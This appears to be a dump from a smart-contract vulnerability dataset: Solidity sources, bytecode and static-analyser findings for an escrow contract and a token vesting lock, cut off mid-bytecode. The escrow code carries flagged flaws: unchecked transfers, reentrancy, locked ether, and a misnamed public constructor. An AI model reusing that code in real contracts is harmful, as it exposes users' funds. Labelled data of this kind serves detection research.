0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b146101325780638f32d59b146101455780639f04586c14610158578063e30c39781461016b578063f2fde38b1461017e578063ff98c1e71461019157600080fd5b806301d22ccd146100ae578063272d177d146100de5780635392fd1c146100f35780636cfd15531461011757806379ba50971461012a575b600080fd5b6002546100c1906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100f16100ec3660046105ab565b6101bf565b005b60025461010790600160a01b900460ff1681565b60405190151581526020016100d5565b6100f1610125366004610589565b610254565b6100f16102d1565b6000546100c1906001600160a01b031681565b6000546001600160a01b03163314610107565b6100f16101663660046105d5565b61039b565b6001546100c1906001600160a01b031681565b6100f161018c366004610589565b61041d565b6101b161019f366004610589565b60036020526000908152604090205481565b6040519081526020016100d5565b6000546001600160a01b031633146101f25760405162461bcd60e51b81526004016101e9906105f7565b60405180910390fd5b6101fb82610507565b6001600160a01b03821660008181526003602052604090819020839055517f1011e87ba3050b2d8e1056215c975f86fd3b4bb0fd318474f313eb4c052f87bd906102489084815260200190565b60405180910390a25050565b6000546001600160a01b0316331461027e5760405162461bcd60e51b81526004016101e9906105f7565b61028781610507565b600280546001600160a01b0319166001600160a01b0383169081179091556040517ff82e12abcc9d9ad0deb2ba4299126479da600b31cc4085d7f75778922e829bf590600090a250565b6001546001600160a01b031633146103375760405162461bcd60e51b8152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742070656e64696e67206f6044820152633bb732b960e11b60648201526084016101e9565b600154600080546040516001600160a01b0393841693909116917f646fe5eeb20d96ea45a9caafcb508854a2fb5660885ced7772e12a633c97457191a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146103c55760405162461bcd60e51b81526004016101e9906105f7565b60028054821515600160a01b0260ff60a01b199091161790556040517f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e859061041290831515815260200190565b60405180910390a150565b6000546001600160a01b031633146104475760405162461bcd60e51b81526004016101e9906105f7565b6001600160a01b0381166104ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101e9565b600080546040516001600160a01b03808516939216917fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381163b61056a5760405162461bcd60e51b815260206004820152602360248201527f5661756c74436f6e74726f6c6c65723a206d757374206265206120636f6e74726044820152621858dd60ea1b60648201526084016101e9565b50565b80356001600160a01b038116811461058457600080fd5b919050565b60006020828403121561059b57600080fd5b6105a48261056d565b9392505050565b600080604083850312156105be57600080fd5b6105c78361056d565b946020939093013593505050565b6000602082840312156105e757600080fd5b813580151581146105a457600080fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea26469706673582212201e081ad31f89d6df331396ee761246bff6987c9f7e26d3cee0acb9376475527f64736f6c63430008060033
{"success": true, "error": null, "results": {}}
1,356
0xd75378d181d31436712dd48003e239465c367afd
pragma solidity ^0.4.25; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract EscrowManagement { // CONTRACT VARIABLES ########################################################################################### uint public numberOfSuccessfullExecutions; // Escrow Order Template struct Escrow { address creator; // address of the creator of the order uint amountTokenSell; // amount of sell units creator is selling address tokenAddressSell; // address of the sell unit uint amountTokenBuy; // amount of buy units creator is buying address tokenAddressBuy; // address of the buy unit } mapping (address => mapping (address => Escrow[])) allOrders; // Stores all the escrows trading with said sell and by tokens enum EscrowState{ Created, // State representing that escrow order has been created by the seller Accepted, // State representing that escrow order has been accepted by the buyer Completed, // State representing that escrow order has been fulfilled and the exchange of tokens completed Died // State representing that escrow order has been removed and deleted from the order book } // ############################################################################################################## // EVENTS ####################################################################################################### event EscrowManagerInitialized(); // Escrow Manager Contract has been deployed and ready for usage event EscrowCreated(EscrowState escrowState); // Escrow order has been created by the seller event EscrowAccepted(EscrowState escrowState); // Escrow order has been accepted by the buyer event EscrowCompleted(EscrowState escrowState); // Escrow order has been fulfilled and the exchange of tokens completed event EscrowDied(EscrowState escrowState); // Escrow order has been removed and deleted from the order book // ############################################################################################################## // MODIFIERS #################################################################################################### // Asserts that the escrow order chosen is valid // inputs: // address _tokenAddressSell : contract address of the sell unit // address _tokenAddressBuy : contract address of the buy unit // uint escrowId : position id of the escrow order in the order book modifier onlyValidEscrowId(address _tokenAddressSell, address _tokenAddressBuy, uint escrowId){ require( allOrders[_tokenAddressSell][_tokenAddressBuy].length > escrowId, // Ensure that escrowId is less than the length of the escrow order list being referred to "Invalid Escrow Order!" // Message to send if the condition above has failed, revert transaction ); _; } // Asserts that the escrow order chosen is valid // inputs: // uint sellTokenAmount : amount of sell tokens // uint buyTokenAmount : amount of buy tokens modifier onlyNonZeroAmts(uint sellTokenAmount, uint buyTokenAmount){ require( sellTokenAmount > 0 && buyTokenAmount > 0, // Ensure that the amounts entered into the creation of an escrow order are non-zero and positive "Escrow order amounts are 0!" // Message to send if the condition above has failed, revert transaction ); _; } // ############################################################################################################## // MAIN CONTRACT METHODS ######################################################################################## // Constructor function for EscrowManager contract deployment function EscrowManager() { numberOfSuccessfullExecutions = 0; EscrowManagerInitialized(); } // Creates the escrow order and stores the order in the escrow manager // inputs: // address _tokenAddressSell: contract address of the sell unit // uint _amountTokenSell: amount of sell units to sell // address _tokenAddressBuy: contract address of buy unit // uint _amountTokenBuy: amount of buy units to buy // events: // EscrowCreated(EscrowState.Created): Escrow order has been created and is added to the orderbook function createEscrow(address _tokenAddressSell, uint _amountTokenSell, address _tokenAddressBuy, uint _amountTokenBuy) payable onlyNonZeroAmts(_amountTokenSell, _amountTokenBuy) { Escrow memory newEscrow = Escrow({ // Create escrow order based on the 'Escrow' template creator: msg.sender, // Assign the sender of the transaction to be the creator of the escrow order amountTokenSell: _amountTokenSell, // Creator's specified sell amount tokenAddressSell: _tokenAddressSell, // Creator's specified sell unit amountTokenBuy: _amountTokenBuy, // Creator's specified buy amount tokenAddressBuy: _tokenAddressBuy // Creator's specified buy unit }); ERC20Interface(_tokenAddressSell).transferFrom(msg.sender, this, _amountTokenSell); // EscrowManager transfers the amount of sell units from Creator to itself allOrders[_tokenAddressSell][_tokenAddressBuy].push(newEscrow); // Adds the new escrow order to the end of the order list in allOrders EscrowCreated(EscrowState.Created); // Event thrown to indicate that escrow order has been created } // Escrow order is chosen and fulfilled // inputs: // address _tokenAddressSell: contract address of the sell unit // address _tokenAddressBuy: contract address of buy unit // uint escrowId: position of the escrow order in allOrders based on the sell and buy contract address // events: // EscrowAccepted(EscrowState.Accepted): Escrow order has been accepted by the sender of the transaction function acceptEscrow(address _tokenAddressSell, address _tokenAddressBuy, uint escrowId) payable onlyValidEscrowId(_tokenAddressSell, _tokenAddressBuy, escrowId) { Escrow memory chosenEscrow = allOrders[_tokenAddressSell][_tokenAddressBuy][escrowId]; // Extract the chosen escrow order from allOrders based on escrowId ERC20Interface(chosenEscrow.tokenAddressBuy).transferFrom(msg.sender, this, chosenEscrow.amountTokenBuy); // EscrowManager transfers the amount of buy units from transaction sender to itself EscrowAccepted(EscrowState.Accepted); // Escrow order amounts have been transfered to EscrowManager and thus order is accepted by transaction sender executeEscrow(chosenEscrow, msg.sender); // EscrowManager to respective token amounts to seller and buyer escrowDeletion(_tokenAddressSell, _tokenAddressBuy, escrowId); // EscrowManager to remove the fulfilled escrow order from allOrders } // EscrowManager transfers the respective tokens amounts to the seller and the buyer // inputs: // Escrow escrow: Chosen escrow order to execute the exchange of tokens // address buyer: Address of the buyer that accepted the escrow order // events: // EscrowCompleted(EscrowState.Completed): Escrow order has been executed and exchange of tokens is completed function executeEscrow(Escrow escrow, address buyer) private { ERC20Interface(escrow.tokenAddressBuy).transfer(escrow.creator, escrow.amountTokenBuy); // EscrowManager transfers buy token amount to escrow creator (seller) ERC20Interface(escrow.tokenAddressSell).transfer(buyer, escrow.amountTokenSell); // EscrowManager transfers sell token amount to buyer numberOfSuccessfullExecutions++; // Increment the number of successful executions of the escrow orders EscrowCompleted(EscrowState.Completed); // Escrow order execution of the exchange of tokens is completed } // EscrowManager removes the fulfilled escrow from allOrders // inputs: // address _tokenAddressSell: contract address of the sell unit // address _tokenAddressBuy: contract address of buy unit // uint escrowId: position of the escrow order in allOrders based on the sell and buy contract address // events: // EscrowDied(EscrowState.Died): Escrow order is removed from allOrders function escrowDeletion(address _tokenAddressSell, address _tokenAddressBuy, uint escrowId) private { for(uint i=escrowId; i<allOrders[_tokenAddressSell][_tokenAddressBuy].length-1; i++){ // Iterate through list of orders in allOrders starting from the current escrow order's position allOrders[_tokenAddressSell][_tokenAddressBuy][i] = allOrders[_tokenAddressSell][_tokenAddressBuy][i+1]; // Shift the all the orders in the list 1 position to the left } allOrders[_tokenAddressSell][_tokenAddressBuy].length--; // Decrement the total length of the list of orders to account for the removal of 1 escrow order EscrowDied(EscrowState.Died); // Escrow order has been removed from allOrders } // ############################################################################################################## // GETTERS ###################################################################################################### // Retrieves all the escrow orders based on the sell unit and the buy unit // inputs: // address _tokenAddressSell: contract address of the sell unit // address _tokenAddressBuy: contract address of the buy unit // outputs: // uint[] sellAmount: list of the all the amounts in terms sell units in the list of escrow orders // uint[] buyAmount: list of the all the amounts in terms buy units in the list of escrow orders function getOrderBook(address _tokenAddressSell, address _tokenAddressBuy) constant returns (uint[] sellAmount, uint[] buyAmount) { Escrow[] memory escrows = allOrders[_tokenAddressSell][_tokenAddressBuy]; // Extract the list of escrow orders from allOrders uint numEscrows = escrows.length; // Length of the list of escrow orders uint[] memory sellAmounts = new uint[](numEscrows); // Initiate list of sell amounts uint[] memory buyAmounts = new uint[](numEscrows); // Initiate list of buy amounts for(uint i = 0; i < numEscrows; i++){ // Iterate through list of escrow orders from position 0 to the end of the list of escrow orders sellAmounts[i] = escrows[i].amountTokenSell; // Assign the position of the sell amount in the escrow order list to the same position in the sell amounts list buyAmounts[i] = escrows[i].amountTokenBuy; // Assign the position of the buy amount in the escrow order list to the same position in the buy amounts list } return (sellAmounts, buyAmounts); // Returns the sell and buy amounts lists } // ############################################################################################################## }
0x60806040526004361061006c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663203d39ff8114610071578063455c7050146101315780635072e79014610148578063694ebe051461016f578063e31430c014610190575b600080fd5b34801561007d57600080fd5b50610098600160a060020a03600435811690602435166101ad565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156100dc5781810151838201526020016100c4565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561011b578181015183820152602001610103565b5050505090500194505050505060405180910390f35b34801561013d57600080fd5b5061014661037e565b005b34801561015457600080fd5b5061015d6103ac565b60408051918252519081900360200190f35b610146600160a060020a0360043581169060243590604435166064356103b2565b610146600160a060020a03600435811690602435166044356105d6565b606080606060006060806000600160008a600160a060020a0316600160a060020a03168152602001908152602001600020600089600160a060020a0316600160a060020a03168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b8282101561028f5760008481526020908190206040805160a081018252600586029092018054600160a060020a039081168452600180830154858701526002830154821693850193909352600382015460608501526004909101541660808301529083529092019101610221565b50505050945084519350836040519080825280602002602001820160405280156102c3578160200160208202803883390190505b509250836040519080825280602002602001820160405280156102f0578160200160208202803883390190505b509150600090505b8381101561037057848181518110151561030e57fe5b9060200190602002015160200151838281518110151561032a57fe5b60209081029091010152845185908290811061034257fe5b9060200190602002015160600151828281518110151561035e57fe5b602090810290910101526001016102f8565b509097909650945050505050565b60008080556040517f61dfcbc829f5886574bba0549fc19192bd68ebeb765dfcfd669bac052ce31e489190a1565b60005481565b6103ba610b18565b83826000821180156103cc5750600081115b151561043957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f457363726f77206f7264657220616d6f756e7473206172652030210000000000604482015290519081900360640190fd5b6040805160a0810182523380825260208083018a9052600160a060020a038b8116848601819052606085018a9052908a16608085015284517f23b872dd0000000000000000000000000000000000000000000000000000000081526004810193909352306024840152604483018b905293519296506323b872dd926064808401938290030181600087803b1580156104d057600080fd5b505af11580156104e4573d6000803e3d6000fd5b505050506040513d60208110156104fa57600080fd5b5050600160a060020a0387811660009081526001602081815260408084208a861685528252808420805480850182559085528285208951600590920201805491871673ffffffffffffffffffffffffffffffffffffffff1992831617815589840151948101949094558882015160028501805491881691831691909117905560608901516003850155608089015160049094018054949096169316929092179093558051918252517fa3b164281347a40196ed76125cbd432c1a0d60c689dc9c13da3cb01e52f44924929181900390910190a150505050505050565b6105de610b18565b600160a060020a03808516600090815260016020908152604080832093871683529290522054849084908490811061067757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f496e76616c696420457363726f77204f72646572210000000000000000000000604482015290519081900360640190fd5b600160a060020a038088166000908152600160209081526040808320938a168352929052208054869081106106a857fe5b600091825260208083206040805160a08101825260059094029091018054600160a060020a03908116855260018201548585015260028201548116858401526003820154606086018190526004928301549091166080860181905283517f23b872dd00000000000000000000000000000000000000000000000000000000815233938101939093523060248401526044830191909152915193985090936323b872dd93606480840194939192918390030190829087803b15801561076b57600080fd5b505af115801561077f573d6000803e3d6000fd5b505050506040513d602081101561079557600080fd5b5050604080516001815290517f0c7c6f325d1f813bc0c1825c3ed647f841968b5776cfdcb2179fae047358032b9181900360200190a16107d584336107e9565b6107e087878761097b565b50505050505050565b8160800151600160a060020a031663a9059cbb836000015184606001516040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561087157600080fd5b505af1158015610885573d6000803e3d6000fd5b505050506040513d602081101561089b57600080fd5b505060408083015160208481015183517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301526024820192909252935192169263a9059cbb92604480830193928290030181600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d602081101561093857600080fd5b5050600080546001019055604080516002815290517f7f17a659d393d215a17008f3a15e8c96a0d5398477171c3ecb47dc484840243b9181900360200190a15050565b805b600160a060020a0380851660009081526001602090815260408083209387168352929052205460001901811015610aa757600160a060020a03808516600090815260016020818152604080842094881684529390529190208054909183019081106109e457fe5b60009182526020808320600160a060020a03808916855260018352604080862091891686529252922080546005909202909201919083908110610a2357fe5b600091825260209091208254600590920201805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03938416178255600180850154818401556002808601549084018054841691861691909117905560038086015490840155600494850154949092018054909116939092169290921790550161097d565b600160a060020a038085166000908152600160209081526040808320938716835292905220805490610add906000198301610b46565b50604080516003815290517f32c22f5d08fef5ba8840168e224f012158a81a6b1387229a47ecd573900f2f499181900360200190a150505050565b6040805160a08101825260008082526020820181905291810182905260608101829052608081019190915290565b815481835581811115610b7257600502816005028360005260206000209182019101610b729190610b77565b505050565b610bd191905b80821115610bcd57805473ffffffffffffffffffffffffffffffffffffffff1990811682556000600183018190556002830180548316905560038301556004820180549091169055600501610b7d565b5090565b905600a165627a7a72305820e67dcb1975b40c905ba6fa0d905db2f56a3838c3101a39b7771cd53a59acd4d30029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,357
0xdb25fb810d0ffb1b5295af6b0d3e04f475d27cf6
// SPDX-License-Identifier: UNLICENSED // This contract locks TRY team and marketing tokens, on a vesting schedule. pragma solidity 0.7.4; contract TRYTEAMLOCKContract { event Received(address, uint); event onDeposit(address, uint256, uint256); event onWithdraw(address, uint256); using SafeMath for uint256; struct VestingPeriod { uint256 epoch; uint256 amount; } struct UserTokenInfo { uint256 deposited; // incremented on successful deposit uint256 withdrawn; // incremented on successful withdrawl VestingPeriod[] vestingPeriods; // added to on successful deposit } // map erc20 token to user address to release schedule mapping(address => mapping(address => UserTokenInfo)) tokenUserMap; struct LiquidityTokenomics { uint256[] epochs; mapping (uint256 => uint256) releaseMap; // map epoch -> amount withdrawable } // map erc20 token to release schedule mapping(address => LiquidityTokenomics) tokenEpochMap; // Fast mapping to prevent array iteration in solidity mapping(address => bool) public lockedTokenLookup; // A dynamically-sized array of currently locked tokens address[] public lockedTokens; // fee variables uint256 public feeNumerator; uint256 public feeDenominator; address public feeReserveAddress; address public owner; //address public allowToDepWith = address(0); constructor() { feeNumerator = 0; feeDenominator = 1000; feeReserveAddress = address(0x76EFf89CDe6ff68103E76dD492e8b25a058fcB2B); owner = address(0x76EFf89CDe6ff68103E76dD492e8b25a058fcB2B); } receive() external payable { emit Received(msg.sender, msg.value); } modifier onlyOwner { require(msg.sender == owner, "You are not the owner"); _; } /* function updateallowToDepWith(address usr) public onlyOwner returns(address){ allowToDepWith = usr; return allowToDepWith; }*/ function updateFee(uint256 numerator, uint256 denominator) onlyOwner public { feeNumerator = numerator; feeDenominator = denominator; } function calculateFee(uint256 amount) public view returns (uint256){ require(amount >= feeDenominator, 'Deposit is too small'); uint256 amountInLarge = amount.mul(feeDenominator.sub(feeNumerator)); uint256 amountIn = amountInLarge.div(feeDenominator); uint256 fee = amount.sub(amountIn); return (fee); } function depositToken(address token, uint256 amount, uint256 unlock_date, address withdrawWallet) public payable { require(unlock_date < 10000000000, 'Enter an unix timestamp in seconds, not miliseconds'); require(amount > 0, 'Your attempting to trasfer 0 tokens'); uint256 allowance = IERC20(token).allowance(msg.sender, address(this)); require(allowance >= amount, 'You need to set a higher allowance'); require(token != address(0), '0x0 wallet cannot be used'); require(withdrawWallet != address(0), '0x0 wallet cannot be used to withdraw tokens'); // charge a fee uint256 fee = calculateFee(amount); uint256 amountIn = amount.sub(fee); require(IERC20(token).transferFrom(msg.sender, address(this), amountIn), 'Transfer failed'); require(IERC20(token).transferFrom(msg.sender, address(feeReserveAddress), fee), 'Transfer failed'); if (!lockedTokenLookup[token]) { lockedTokens.push(token); lockedTokenLookup[token] = true; } LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[token]; // amount is required to be above 0 in the start of this block, therefore this works if (liquidityTokenomics.releaseMap[unlock_date] > 0) { liquidityTokenomics.releaseMap[unlock_date] = liquidityTokenomics.releaseMap[unlock_date].add(amountIn); } else { liquidityTokenomics.epochs.push(unlock_date); liquidityTokenomics.releaseMap[unlock_date] = amountIn; } UserTokenInfo storage uto = tokenUserMap[token][withdrawWallet]; uto.deposited = uto.deposited.add(amountIn); VestingPeriod[] storage vp = uto.vestingPeriods; vp.push(VestingPeriod(unlock_date, amountIn)); emit onDeposit(token, amount, unlock_date); } function withdrawToken(address token, uint256 amount) public { require(amount > 0, 'Your attempting to withdraw 0 tokens'); require(token != address(0), '0x0 wallet cannot be used'); uint256 withdrawable = getWithdrawableBalance(token, msg.sender); UserTokenInfo storage uto = tokenUserMap[token][msg.sender]; uto.withdrawn = uto.withdrawn.add(amount); require(amount <= withdrawable, 'Your attempting to withdraw more than you have available'); require(IERC20(token).transfer(msg.sender, amount), 'Transfer failed'); emit onWithdraw(token, amount); } function getWithdrawableBalance(address token, address user) public view returns (uint256) { UserTokenInfo storage uto = tokenUserMap[token][address(user)]; uint arrayLength = uto.vestingPeriods.length; uint256 withdrawable = 0; for (uint i=0; i<arrayLength; i++) { VestingPeriod storage vestingPeriod = uto.vestingPeriods[i]; if (vestingPeriod.epoch < block.timestamp) { withdrawable = withdrawable.add(vestingPeriod.amount); } } withdrawable = withdrawable.sub(uto.withdrawn); return withdrawable; } function getUserTokenInfo (address token, address user) public view returns (uint256, uint256, uint256) { UserTokenInfo storage uto = tokenUserMap[address(token)][address(user)]; uint256 deposited = uto.deposited; uint256 withdrawn = uto.withdrawn; uint256 length = uto.vestingPeriods.length; return (deposited, withdrawn, length); } function getUserVestingAtIndex (address token, address user, uint index) public view returns (uint256, uint256) { UserTokenInfo storage uto = tokenUserMap[address(token)][address(user)]; VestingPeriod storage vp = uto.vestingPeriods[index]; return (vp.epoch, vp.amount); } function getTokenReleaseLength (address token) public view returns (uint256) { LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[address(token)]; return liquidityTokenomics.epochs.length; } function getTokenReleaseAtIndex (address token, uint index) public view returns (uint256, uint256) { LiquidityTokenomics storage liquidityTokenomics = tokenEpochMap[address(token)]; uint256 epoch = liquidityTokenomics.epochs[index]; uint256 amount = liquidityTokenomics.releaseMap[epoch]; return (epoch, amount); } function lockedTokensLength() external view returns (uint) { return lockedTokens.length; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x6080604052600436106100f75760003560e01c806399a5d7471161008a578063de0c4d2e11610059578063de0c4d2e14610382578063e86dea4a146103db578063f4f876a6146103f0578063f6a3bcad1461043757610138565b806399a5d747146102e05780639e281a981461030a578063ace55fec14610343578063dcec32941461035857610138565b80635fdfa5cd116100c65780635fdfa5cd146101de5780638b4ebb43146102185780638da5cb5b1461027457806393dcd021146102a557610138565b8063180b0d7e1461013d57806321babba71461016457806322843f95146101795780632740c197146101ac57610138565b36610138576040805133815234602082015281517f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874929181900390910190a1005b600080fd5b34801561014957600080fd5b50610152610470565b60408051918252519081900360200190f35b34801561017057600080fd5b50610152610476565b34801561018557600080fd5b506101526004803603602081101561019c57600080fd5b50356001600160a01b031661047c565b3480156101b857600080fd5b506101dc600480360360408110156101cf57600080fd5b5080359060200135610497565b005b6101dc600480360360808110156101f457600080fd5b506001600160a01b03813581169160208101359160408201359160600135166104f9565b34801561022457600080fd5b5061025b6004803603606081101561023b57600080fd5b506001600160a01b03813581169160208101359091169060400135610a50565b6040805192835260208301919091528051918290030190f35b34801561028057600080fd5b50610289610ab2565b604080516001600160a01b039092168252519081900360200190f35b3480156102b157600080fd5b50610152600480360360408110156102c857600080fd5b506001600160a01b0381358116916020013516610ac1565b3480156102ec57600080fd5b506101526004803603602081101561030357600080fd5b5035610b5c565b34801561031657600080fd5b506101dc6004803603604081101561032d57600080fd5b506001600160a01b038135169060200135610bff565b34801561034f57600080fd5b50610289610e21565b34801561036457600080fd5b506102896004803603602081101561037b57600080fd5b5035610e30565b34801561038e57600080fd5b506103bd600480360360408110156103a557600080fd5b506001600160a01b0381358116916020013516610e5a565b60408051938452602084019290925282820152519081900360600190f35b3480156103e757600080fd5b50610152610e90565b3480156103fc57600080fd5b506104236004803603602081101561041357600080fd5b50356001600160a01b0316610e96565b604080519115158252519081900360200190f35b34801561044357600080fd5b5061025b6004803603604081101561045a57600080fd5b506001600160a01b038135169060200135610eab565b60055481565b60035490565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b031633146104ee576040805162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b604482015290519081900360640190fd5b600491909155600555565b6402540be400821061053c5760405162461bcd60e51b81526004018080602001828103825260338152602001806111686033913960400191505060405180910390fd5b6000831161057b5760405162461bcd60e51b815260040180806020018281038252602381526020018061119b6023913960400191505060405180910390fd5b60408051636eb1769f60e11b815233600482015230602482015290516000916001600160a01b0387169163dd62ed3e91604480820192602092909190829003018186803b1580156105cb57600080fd5b505afa1580156105df573d6000803e3d6000fd5b505050506040513d60208110156105f557600080fd5b50519050838110156106385760405162461bcd60e51b81526004018080602001828103825260228152602001806111be6022913960400191505060405180910390fd5b6001600160a01b03851661068f576040805162461bcd60e51b81526020600482015260196024820152780c1e0c081dd85b1b195d0818d85b9b9bdd081899481d5cd959603a1b604482015290519081900360640190fd5b6001600160a01b0382166106d45760405162461bcd60e51b815260040180806020018281038252602c81526020018061113c602c913960400191505060405180910390fd5b60006106df85610b5c565b905060006106ed8683610f01565b604080516323b872dd60e01b81523360048201523060248201526044810183905290519192506001600160a01b038916916323b872dd916064808201926020929091908290030181600087803b15801561074657600080fd5b505af115801561075a573d6000803e3d6000fd5b505050506040513d602081101561077057600080fd5b50516107b5576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b600654604080516323b872dd60e01b81523360048201526001600160a01b039283166024820152604481018590529051918916916323b872dd916064808201926020929091908290030181600087803b15801561081157600080fd5b505af1158015610825573d6000803e3d6000fd5b505050506040513d602081101561083b57600080fd5b5051610880576040805162461bcd60e51b815260206004820152600f60248201526e